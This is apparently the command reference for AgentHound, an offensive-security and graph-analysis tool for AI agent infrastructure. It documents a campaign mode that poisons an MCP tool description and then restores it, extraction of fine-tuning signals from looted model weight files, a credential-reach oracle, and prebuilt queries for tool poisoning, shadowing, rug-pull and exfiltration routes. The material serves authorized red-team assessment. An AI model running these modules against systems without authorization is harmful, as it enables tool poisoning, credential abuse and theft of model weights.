agenthound rules¶
Manage the YAML detection rules engine.
agenthound rules list¶
| Flag | Default | Description |
|---|---|---|
--format |
table |
table or json. |
--collector |
Filter: mcp, a2a, config, all. |
|
--severity |
Filter: critical, high, medium, low, info. |
|
--tag |
Filter by tag. | |
--builtin-only |
false |
Show only embedded rules. |
--custom-only |
false |
Show only custom rules. |
Custom rules are loaded from $AGENTHOUND_RULES_DIR or ~/.agenthound/rules/.
agenthound rules validate¶
Validates text-detection rule definitions and runs their inline tests. If path is a file, validates that rule. If a directory, validates all .yaml files in it. No path validates all loaded text rules. This command does not parse the fingerprint-rule schema under sdk/rules/builtin/fingerprints/.
--strict treats warnings (including missing test cases) as errors.
agenthound rules test¶
| Flag | Default | Description |
|---|---|---|
--format |
table |
table or json. |
--verbose |
false |
Show passing test cases, not just failures. |
Runs tests: blocks embedded in text-detection rule files and exits with code 1
if any case fails. Production built-ins deliberately contain no inline cases;
their fixtures live outside the embedded tree under sdk/rules/builtin_tests/.
Consequently, bare agenthound rules test reports zero built-in cases. Run the
shipped fixture suite with:
Example¶
agenthound rules list --severity critical --format json
agenthound rules validate ./custom-rules/ --strict
agenthound rules test ./custom-rules/
agenthound extract¶
Extract training signals from model artifacts. Parses GGUF weight files and detects statistical outlier embeddings likely added during fine-tuning.
agenthound extract <source-node-id> --type embedding-invert \
--artifact /tmp/loot/model.bin --commit --engagement-id DC35-DEMO
<source-node-id> is the already-established AIModel object ID, not a URL,
model name, or artifact path. It must use AgentHound's canonical
sha256: plus 64 lowercase hexadecimal representation. The extractor carries
that identity as an empty reference_only endpoint so strict ingest can close
the emitted edges without inventing model properties.
| Flag | Default | Description |
|---|---|---|
--type |
(required) | Extractor kind (embedding-invert) |
--artifact |
(required) | Path to a local GGUF weight file (obtained out-of-band; see Ollama loot) |
--commit |
false |
Emit ingest data (default: dry-run summary) |
--engagement-id |
(required) | Engagement correlation key |
--confidence-threshold |
3.0 |
Z-score threshold for outlier detection |
--max-signals |
1000 |
Cap on emitted ExtractedTrainingSignal nodes |
agenthound campaign¶
Run an ordered campaign scenario against a known service. A scenario either verifies a predicted graph relationship with observed evidence from a server-exported witness, or performs a standalone reversible target-mutation validation. Witnesses and graph evidence are scenario-specific, not universal campaign inputs or outputs.
The runner ships two scenarios. The first is cred-reach — a READ-ONLY differential credential-reach oracle. Given a witness for a predicted credential-gated CAN_REACH finding, it reads the exact predicted MCP resource once without authentication (control) and once with a hash-matched credential (authed), then classifies the pair:
| Control (unauth) | Authed | Outcome | Emits |
|---|---|---|---|
denied at initialize or exact resource_read |
exact resource_read allowed |
credential_gated_reach_verified |
per-agent CREDENTIAL_REACH_VERIFIED (upgrades only the source-agent CAN_REACH finding) |
| allowed | allowed | anonymous_access_observed |
PUBLIC_ACCESS_OBSERVED (a fact) |
| allowed | denied | anonymous_access_observed + credential rejected |
PUBLIC_ACCESS_OBSERVED |
exact resource_read denied |
exact same resource_read denied |
not_observed |
nothing — retires only this agent's prior verification |
| 404 / malformed auth / protocol error / ambiguous / timeout | (any) | indeterminate |
nothing — prior evidence preserved |
Initialization denial is never a valid negative. Only a typed HTTP response that
actually observed status 401 or 403 is a definitive denial; auth-like target
text and JSON-RPC messages are indeterminate. Any missing/wrong resource,
malformed/protocol response, timeout, incomplete stage, or budget exhaustion is
indeterminate and preserves prior credential evidence. A successful control
read may still emit the independent anonymous-access fact without retiring
credential evidence. The scenario mutates nothing, so cleanup is
not_applicable.
# 1. export the witness on the analysis box (server)
agenthound-server witness --finding <finding-id> > witness.json
# 2. supply the credential material OUT OF BAND (env var or stdin) — never a flag
export AGENTHOUND_CAMPAIGN_CREDENTIAL='sk-...'
# 3. run the read-only differential probes and emit graph evidence
agenthound campaign https://mcp.example/mcp --scenario cred-reach \
--witness witness.json --engagement-id DC35-DEMO --commit --output - \
| agenthound-server ingest -
| Flag | Default | Description |
|---|---|---|
--scenario |
(required) | Scenario ID to run (cred-reach or mcp-poison-roundtrip) |
--witness |
cred-reach: required |
Path to the server-exported witness JSON, or - for stdin; not used by mcp-poison-roundtrip |
--engagement-id |
(required) | Engagement correlation key |
--commit |
false |
Execute the selected scenario; default is plan-only. cred-reach probes and emits evidence, while mcp-poison-roundtrip mutates and restores. |
--insecure |
false |
Skip TLS certificate verification for scenario network requests; roundtrip applies it to both MCP and ContextForge surfaces. |
--timeout |
30s |
Total forward scenario elapsed-time limit; cleanup, where applicable, uses a separate bounded non-cancellable context |
--credential-env |
AGENTHOUND_CAMPAIGN_CREDENTIAL |
cred-reach only: env var holding the out-of-band credential material |
--credential-stdin |
false |
cred-reach only: read the credential material from stdin instead of an env var |
Credential material is supplied out of band (env var or stdin) and hash-matched locally against the witness value_hash; the raw value is never logged, never a flag, and never written to the graph. A hash-only credential (no executable material) is a precondition failure (not runnable) — distinct from an indeterminate outcome.
Before any request, the runner trims surrounding whitespace once, validates an absolute HTTP(S) endpoint, and binds the untouched trimmed spelling to ResolveMCPServerIdentity("http", input). The endpoint never enters the witness. Query bytes remain identity-significant: fixed known-sensitive decoded keys and values exactly equal to the supplied campaign credential are rejected as best-effort defense-in-depth; arbitrary other query bytes are accepted, but the entire query is always redacted from reports, evidence, witnesses, errors, and logs. This is not a universal query-secret detector. Credentials are forwarded only to the exact lowercased scheme + hostname + effective-port origin, including redirects. The MCP SDK's exact-endpoint close DELETE is bounded by the original absolute scenario deadline and counted as an outbound request; AgentHound does not apply a blanket HTTP-client timeout that would break long-lived SSE.
Each committed scenario emits the same bounded, versioned RunReport with fixed local steps, sanitized target references, report start/completion times, per-step RFC3339Nano start/end times, typed operation classes, an applicable sanitized evidence/witness fingerprint, opaque receipt references, and explicit actual outbound-request, mutation, and elapsed-time limits/usage. Reports never contain receipt paths or receipt/content hashes. Redirect/retry RoundTrip dispatches count as requests. Budget exhaustion is indeterminate/unsafe, never a valid negative.
Authorization gate: the first campaign invocation prompts for AUTHORIZED and writes ~/.agenthound/campaign-acknowledged. When stdin is consumed by --witness -/--credential-stdin, acknowledge non-interactively with a pre-existing sentinel or AGENTHOUND_CAMPAIGN_AUTHORIZED=AUTHORIZED.
Residual caveat: the witness is a snapshot of a published prediction. If the graph changes between export and ingest, the server re-correlation rejects the stale/mismatched witness (no verified evidence) rather than upgrading a prediction that no longer holds. See security.md.
The second scenario is mcp-poison-roundtrip — a STANDALONE ContextForge target-mutation validation. It reuses the provider-specific mcp.poison module (Poison + the conflict-aware, no-blind-write Revert) to prove the reversible mutation machinery works end to end against a real target:
- generate and apply a benign run-specific marker (
mcp.poisonPoison, committed); - re-read the exact injected state and compare to the receipt — the ORACLE (did the mutation land?);
- issue the conflict-aware revert;
- re-read and confirm the original is restored — the CLEANUP.
The oracle and cleanup are reported separately and computed independently. A mutating run requires both campaign authorization and the distinct poison/destructive acknowledgement. campaign_run_id is allocated before mutator construction; each mutator receipt carries that run ID, a random opaque receipt_id, and a positive invocation-order step_sequence. A no-op (original == injected) writes neither target nor receipt and reports mutation_not_applied with cleanup not_applicable. Active cleanup selects the exact engagement+run across all stateful modules, rejects missing/duplicate sequence metadata, reverts in global descending sequence order under a bounded non-cancellable context, and fail-stops on the first conflict/indeterminate/failure. Forward elapsed/usage accounting is frozen before that separately timed cleanup starts. Receipts remain immutable after success or failure. The final RunReport is emitted before an unsafe/unconfirmed cleanup returns nonzero.
| Oracle | Cleanup | Meaning |
|---|---|---|
mutation_verified |
restored |
mutation landed; original restored (target clean) |
mutation_not_applied |
not_applicable |
the write did not change the live state; no cleanup was required |
mutation_conflict |
(independent) | post-mutation state matched neither original nor injected content, indicating an intervening or unprovable writer; cleanup is classified separately |
mutation_verified |
conflict |
mutation landed but a third party edited the target — revert refused (receipt retained) |
mutation_verified |
indeterminate |
revert could not re-read the live state — never a blind write (receipt retained) |
| (any) | failed |
restoration was attempted but its write failed, or the post-restore read did not confirm the original (receipt retained) |
indeterminate |
(any) | post-mutation re-read failed — mutation landing is unknowable |
# STANDALONE reversible-mutation validation (mutates then restores; not an attack).
# Optional same-origin override; required for cross-origin management.
export AGENTHOUND_CONTEXTFORGE_TOKEN='...'
agenthound campaign https://gateway.example/servers/<server-uuid>/mcp \
--scenario mcp-poison-roundtrip --adapter contextforge \
--target-id support-lookup \
--engagement-id DC35-DEMO --commit
| Flag | Default | Description |
|---|---|---|
--target-id |
(required) | MCP tool whose description is mutated then restored |
--adapter |
(required) | Management adapter; must be contextforge |
--management-url |
derived | Optional ContextForge deployment-root override; omit /v1 because AgentHound appends it |
The scenario takes no witness, no campaign credential material, and no operator-supplied mutation text. The generated marker is deliberately inert and unique to the run. ContextForge and MCP credentials use the environment/config resolution described under agenthound poison; neither is accepted on the command line. It creates no graph edge or finding. --commit is still off by default (dry-run plans only). See offensive-actions.md.
agenthound version¶
Print version string and commit hash.
Server: agenthound-server¶
Persistent Flags¶
| Flag | Env | Default | Description |
|---|---|---|---|
--bind |
AGENTHOUND_BIND |
127.0.0.1:8080 |
Bind address host:port. |
--neo4j-uri |
AGENTHOUND_NEO4J_URI |
bolt://localhost:7687 |
Neo4j connection URI. |
--neo4j-user |
AGENTHOUND_NEO4J_USER |
neo4j |
Neo4j username. |
--neo4j-password |
AGENTHOUND_NEO4J_PASSWORD |
agenthound |
Neo4j password. |
--pg-uri |
AGENTHOUND_PG_URI |
postgres://agenthound:agenthound@localhost:5432/agenthound?sslmode=disable |
PostgreSQL URI. |
--cors-origins |
AGENTHOUND_CORS_ORIGINS |
http://localhost:8080,http://127.0.0.1:8080 |
Comma-separated CORS origins. |
--log-level |
AGENTHOUND_LOG_LEVEL |
info |
debug, info, warn, error. |
Priority: CLI flag > env var > default.
agenthound-server serve¶
Start the API server, embedded React UI, and initialize databases.
Before schema mutation, the server automatically generates and stamps an
internal UUID that pairs PostgreSQL with Neo4j. A one-sided missing marker is
repaired only when the stores are safe to repair; crossed pairs, unbound
non-empty stores, and future marker versions fail closed. It then initializes
Neo4j schema (constraints + indexes) and PostgreSQL migrations on first start.
The server accepts only ingest-v1 artifacts. Version or instruction-registry
mismatches fail before storage access with reset-and-rescan guidance;
provenance controls graph scope, not admission. Mutating HTTP endpoints are
gated by OriginGuard (Origin allowlist, configured via --cors-origins).
Graceful shutdown on SIGINT/SIGTERM (10s drain).
No application-layer authentication. Default loopback bind is the security boundary. Expose remotely only over VPN/SSH tunnel. The server logs a WARN if bound to a non-loopback address.
agenthound-server ingest¶
Ingest collector JSON into the graph database.
Pipeline stages: reject incompatible wire/registry contracts, reverify both storage markers, validate the strict ingest-v1 artifact, apply collection/network scope, normalize supported values, deduplicate (MERGE by objectid), batch write (1000 ops/txn), and post-process (composite edges + risk scores).
All three ingest entry points (CLI, POST /api/v1/ingest, UI drag-drop) run the same pipeline.
The CLI prints the display label (or a short Point <digest> alias), full IDs,
new/recognized state, separate point/network qualities, network class, pipeline
outcome, projection status, and publication revision. It exits successfully
when the graph, analysis, snapshot, and publication stages succeed, including a
safe limited-coverage publication. That case is headed
Ingest complete with coverage limitations and reports that missing evidence
is not proof of absence. If a required processing stage is partial or failed,
or publication is withheld, the CLI exits non-zero and reports the first
unhealthy required stage; write-row counts remain visible for diagnosis.
Example¶
agenthound scan --output - | agenthound-server ingest -
ssh target 'agenthound scan --output -' | agenthound-server ingest -
agenthound-server query¶
Query the graph database. Five mutually exclusive modes.
# Raw Cypher against the mutable live graph (admin/diagnostic use)
agenthound-server query "MATCH (n:MCPServer) RETURN n.name, n.transport"
# Pre-built query against a stable complete published projection
agenthound-server query --prebuilt agents-shell-access
# Findings from the current published snapshot, with triage state
agenthound-server query --findings [--severity critical] [--all-findings]
# Diff two scans' findings
agenthound-server query --diff scan_a,scan_b
# Directed security shortest path (default)
agenthound-server query --shortest-path --from AgentInstance:claude --to MCPResource:postgres://prod
# Explicit undirected topology path
agenthound-server query --shortest-path --path-mode topology --from MCPResource:postgres://prod --to AgentInstance:claude
Flags¶
| Flag | Default | Description |
|---|---|---|
--prebuilt |
Pre-built query ID. Runs only against a stable complete published projection. | |
--findings |
false |
List the current immutable published snapshot (suppressed hidden by default). |
--all-findings |
false |
Include suppressed (accepted-risk / false-positive) findings in --findings / --diff output. |
--diff |
Diff two scans' findings: scanA,scanB. Reports added / removed / unchanged. |
|
--severity |
Filter findings: critical, high, medium, low. |
|
--shortest-path |
false |
Find a bounded shortest path with the shared traversal engine. |
--from |
Source node (Kind:name). |
|
--to |
Target node (Kind:name). |
|
--path-mode |
security |
security uses the directed security relationship policy; topology explicitly selects the undirected graph view. |
--format |
table |
table or json. |
--fail-on |
Exit 1 if findings are at or above severity or published coverage is limited (CI gate). Always ignores suppressed findings, even with --all-findings. |
Positional raw Cypher is an explicit live/admin interface: it reads the mutable
graph directly and is not guarded by published scan/revision identity. In
contrast, --prebuilt fails closed when the published projection is absent,
updating, incomplete, or changes during the read. Prebuilt queries,
shortest-path output, and published findings warn when the selected revision
has active coverage limitations. An empty findings result is qualified as “No
findings in observed data.” --diff rejects revisions without matching
non-empty comparison keys, and --fail-on exits non-zero when published
coverage is limited. Raw administrator Cypher remains an explicit unqualified
live-graph interface. JSON output includes the corresponding scope/projection
metadata; table output prints the published identity before the rows.
Suppression semantics¶
Triage decisions (accepted-risk, false-positive) suppress a finding from
the default --findings view and from the added set of --diff.
--all-findings reveals them. --fail-on always evaluates against the
non-suppressed set, so an accepted risk cannot break CI regardless of
--all-findings; an active coverage limitation still fails the gate because
missing findings are inconclusive.
Pre-Built Query IDs¶
| ID | Category | Severity |
|---|---|---|
agents-shell-access |
Critical Paths | critical |
shortest-to-database |
Critical Paths | critical |
cross-protocol-paths |
Exposure Hypotheses | medium |
exfiltration-routes |
Critical Paths | critical |
credential-chain |
Critical Paths | critical |
litellm-credential-leak |
Critical Paths | critical |
unpinned-shell |
Combined | critical |
poisoned-tools |
Vulnerabilities | high |
tool-shadowing |
Vulnerabilities | high |
no-auth-servers |
Vulnerabilities | high |
no-auth-a2a |
Vulnerabilities | high |
tool-name-collision |
Vulnerabilities | high |
rug-pull |
Vulnerabilities | high |
instruction-poisoning |
Supply Chain | high |
high-entropy-secrets |
Supply Chain | high |
unpinned-packages |
Supply Chain | medium |
unsigned-cards |
Supply Chain | medium |
chokepoint-servers |
Chokepoints | medium |
chokepoint-tools |
Chokepoints | medium |
CI/CD Gate Example¶
agenthound-server witness¶
Export a stable, sanitized witness for a predicted credential-gated CAN_REACH finding so the collector-side agenthound campaign runner can verify it.
Witness V1 is exported only for HTTP-backed resources. It carries the explicit source AgentInstance, scoped server/credential/resource IDs and concrete kinds, the endpoint-derived server identity hash and opaque service scope, credential value_hash + merge_key, resource identity input, predicted edge kind, topology-normalization version, and the actual ordered current CAN_REACH.evidence_node_ids with one normalized concrete kind per node. Its positive publication revision is provenance only, not an equality gate. The unkeyed fingerprint detects inconsistency but is not a signature or authorization proof. It contains no clear endpoint, Neo4j relationship ID, arbitrary node property, or secret.
agenthound-server witness --finding <finding-id> > witness.json
agenthound-server witness --finding <finding-id> --output witness.json
| Flag | Default | Description |
|---|---|---|
--finding |
(required) | Finding ID (16-char fingerprint) to export a witness for |
--output |
- |
Write the witness JSON to this path, or - for stdout |
Also exposed over the API: GET /api/v1/analysis/findings/{id}/witness. See api.md.
agenthound-server version¶
Print version string and commit hash.
Environment Variable Summary¶
| Variable | Binary | Default |
|---|---|---|
AGENTHOUND_OUTPUT |
collector | ./scan-<scan_id>.json |
AGENTHOUND_LOG_LEVEL |
both | info |
AGENTHOUND_CONCURRENCY |
collector | 5 |
AGENTHOUND_QUIET |
collector | (unset) |
AGENTHOUND_LOG_JSON |
collector | (unset) |
AGENTHOUND_RULES_BUNDLE |
collector | (unset) |
AGENTHOUND_RULES_DIR |
collector | ~/.agenthound/rules/ |
AGENTHOUND_CAMPAIGN_CREDENTIAL |
collector | (unset) — out-of-band credential material for campaign |
AGENTHOUND_CAMPAIGN_AUTHORIZED |
collector | (unset) — non-interactive campaign authorization ack |
AGENTHOUND_MCP_TOKEN |
collector | (unset) — explicit MCP bearer for the ContextForge adapter |
AGENTHOUND_CONTEXTFORGE_TOKEN |
collector | (unset) — ContextForge management-bearer override |
AGENTHOUND_STATE_DIR |
collector | ~/.agenthound/state/ — offensive-action and campaign receipt root |
AGENTHOUND_BIND |
server | 127.0.0.1:8080 |
AGENTHOUND_NEO4J_URI |
server | bolt://localhost:7687 |
AGENTHOUND_NEO4J_USER |
server | neo4j |
AGENTHOUND_NEO4J_PASSWORD |
server | agenthound |
AGENTHOUND_PG_URI |
server | postgres://agenthound:agenthound@localhost:5432/agenthound?sslmode=disable |
AGENTHOUND_CORS_ORIGINS |
server | http://localhost:8080,http://127.0.0.1:8080 |
State Directories¶
| Path | Purpose |
|---|---|
~/.agenthound/loot-acknowledged |
Loot authorization sentinel. |
~/.agenthound/poison-acknowledged |
Poison/implant authorization sentinel. |
~/.agenthound/extract-acknowledged |
Extract authorization sentinel. |
~/.agenthound/campaign-acknowledged |
Campaign authorization sentinel. |
~/.agenthound/state/<module-id>/<engagement-id>.json |
Poison/implant/campaign recovery receipts and audit trail. |
~/.agenthound/rules/ |
Custom detection rules directory. |